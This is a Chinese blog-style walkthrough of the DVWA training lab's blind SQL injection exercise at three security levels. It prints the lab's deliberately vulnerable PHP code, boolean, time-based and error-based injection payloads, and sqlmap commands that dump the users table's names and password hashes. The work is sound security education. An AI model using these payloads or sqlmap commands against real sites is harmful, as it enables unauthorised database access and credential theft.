IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> DVWA 之 SQL Injection Blind(SQL盲注) -> 正文阅读

[大数据]DVWA 之 SQL Injection Blind(SQL盲注)

目录

1、级别:Low

1.1 判断是否存在注入及注入的类型(基于布尔SQL盲注)

??1.2 猜数据库名

1.3 猜表名?

1.4 猜列名

1.5 猜字段值

?1.6 直接sqlmap爆库

2、级别:Medium

3、级别:High


?

盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。盲注分为三类:基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注

盲注思路步骤:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。 这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。?

常用函数

if()
功能:条件判断。
语法格式:if(expr1,expr2,expr3):expr1为true则返回expr2,expr1为false则返回expr3。
注:仅MySQL支持if(expr1,expr2,expr3)。

left()
功能:截取具有指定长度的字符串的左边部分。
语法格式:left(str,length),如果str或length参数为NULL,则返回NULL值。
参数说明
str:要提取子串的字符串。
length:正整数,指定将从左边返回的字符数。length为0或为负,则LEFT返回一个空字符串
length大于str字符串的长度,则leftO返回整个str字符串。

length()
功能:返回字符串的长度,以字节为单位。
语法格式:length(str)

substr()、substring()
功能:从指定的位置开始,截取字符串指定长度的子串。
语法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)substring(str,pos,len)
参数说明
str:要提取子串的字符串。
pos:提取子串的开始位置
len:指定要提取的子串的长度

ascii()、ord()
功能:返回字符串最左边字符的ASCII码值
语法格式:ascii(str),ord(str)

cast()、convert()
功能:获取一个类型的值,并产生另一个类型的值。
>语法格式:cast(value as type),convert(value,type)

?基于时间的SQL盲注又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据

sleep()
功能:让语句延退执行一段时间,执行成功后返回0。
语法格式:sleep(N),即延退执行N秒。

benchmark()
功能:让某语句执行一定的次数,执行成功后返回0。
语法格式:benchmark(coun,texpr),即让expr执行count次
注:仅MySQL支持该函数。

基于报错的SQL盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等?

直接使用报错' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+

利用xpath函数—extractvalue报错' and extractvalue(1,concat(0x7e,(select database()),0x73))--+

利用xpath函数—updatexml报错' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

利用数据重复性报错' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x--+

参考:DVWA——SQL Injection Blind(SQL盲注) - 戚源 - 博客园?

1、级别:Low

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0);
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

}

?>

?代码并没有对参数id做任何的过滤

1.1 判断是否存在注入及注入的类型(基于布尔SQL盲注)

输入1asdf,返回User ID exists in the database,无报错证明是字符型的

输入1',返回User ID is MISSING from the database,证明是单引号闭合

??输入? 1' and 1=1 # ,输出 exists

?

?输入?1' and 1=2 # ,输出 MISSING,证明存在注入

?

??1.2 猜数据库名

?利用length()函数猜出数据库名的长度,1'? and length(database())=4 #,不报错,数据库名的长度为4

?然后用ascii()函数和substr()函数,采用二分法猜数据库的名字。

输入1' and ascii(substr(database(),1,1))>90 #,显示存在,说明数据库名的第一个字符的ascii值大于90;

?输入1' and ascii(substr(database(),1,1))<110 #,显示存在,说明数据库名的第一个字符的ascii值小于110;

?输入1' and ascii(substr(database(),1,1))=100 #,显示存在,ASCII的表去找对应的字母为d

?输入1' and ascii(substr(database(),2,1))>90 # 找第二个字母

重复以上步骤,得到库名为dvwa

1.3 猜表名?

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,输出exists?

所以一共有两个表,我们先猜第一个表的长度

输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING

使用二分法?1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,输出?exists

直到—— ?1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,输出 exists,即第一个表名称字符长为9。

现在猜第一个表的第一个字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

直到——?1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即对应的字母为g

然后我们再去猜其他的8个字母,为u、e、s、t、b、o、o、k,该表名即为guestbook

同理猜第二个表的名字,users

1.4 猜列名

就直接拿 users表为例了。

先猜表中的字段数目1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # ? (中间步骤省略了) 数目为 8

猜user表各个名称,按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含键信息的字段,如:用户名、密码...

【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/...
密码:password/pass_word/pwd/pass/...

所以说我们的命令就可以是?1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #,输出exists

?1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #,输出exists

所以我们可以知道 users表中有 user和password。还可以试试别的

1.5 猜字段值

同样使用二分法来做,直接写最后一步了:

用户名的字段值:1' and length(substr((select user from users limit 0,1),1))=5 #,输出exists

——说明user字段中第1个字段值的字符长度=5。

密码的字段值:1' and length(substr((select password from users limit 0,1),1))=32 #,

——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)

然后再使用二分法猜解user字段的值:(用户名)

1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一个字符)

1' and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二个字符)? ? ? ? ? ? ? ? ? ?

……

猜解password字段的值:(密码)

1' and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一个字符)

……

?1.6 直接sqlmap爆库

手工盲注的时间耗费太大,我们可以直接使用sqlmap进行爆库

通过增加--technique参数指定注入技术,B表示布尔盲注

?下面的命令可以得到系统中所有数据库

python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --technique B -dbs

注意一定要用双引号,url不用引号或者用单引号的时候,会报如下错误。如果cookie不用双引号会跳转到登录页面:不用引号会识别不到cookie的设置,用单引号的时候会问要不要合并网站新提供的cookie和sqlmap设置的cookie。

?

命令行输入以下命令,得到当前数据库

python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --current-db

?

命令行输入以下命令,得到数据库dvwa的所有表

python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --tables -D dvwa

?命令行输入以下命令,得到数据库dvwa表users的所有列

python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --columns -D dvwa -T users

?命令行输入以下命令,得到user和password字段的值

python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --dump -D dvwa -T users -C "user,password"

?方法二:基于时间盲注

1.判断是否存在注入,注入是字符型还是数字型

输入1' and sleep(5) #,感觉到明显延迟;

输入1 and sleep(5) #,没有延迟;

说明存在字符型的基于时间盲注。

2.猜解当前数据库名

(前面猜的方法都有,直接给结果了):1' and if(length(database())=4,sleep(5),1) # 明显延迟,说明数据库名长度为4个字符。

然后二分法猜数据库名:1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)# 明显延迟,说明数据库第一个字符为 d。

重复上述步骤,可猜出数据库名为 dvwa

3.猜解数据库中的表名

首先猜解数据库中表的数量:1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# ,说明有两个表

然后猜第一个表名长度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,说明第一个表名长度为9

采用二分法即可猜解出表名。

4.猜解表中的列名

还是先猜users表中的列的数量:1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# ,明显延迟,说明有8个列

然后猜第一个列名的长度:1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟,说明第一个列名为7个字符

再用二分法猜解

5.猜解数据

同样采用二分法来猜解,上面有过程。

2、级别:Medium

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            
            break;
        case SQLITE:
            global $sqlite_db_connection;
            
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }
            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

?这里跟上一篇sql注入差不多,这里利用bp抓包在修改id的值,id值输入的步骤跟low级别差不多,这里就不再赘述了。

3、级别:High

看一下源码

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                // Get results
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

?可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。

同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。但是我们可以通过#将其注释掉。

和前面的SQL注入一样,但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只能使用基于布尔的盲注。

具体参考Low级别的注入步骤

?

?

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-10-08 20:48:45  更:2022-10-08 20:51:28 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年5日历 -2025/5/1 7:49:36-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码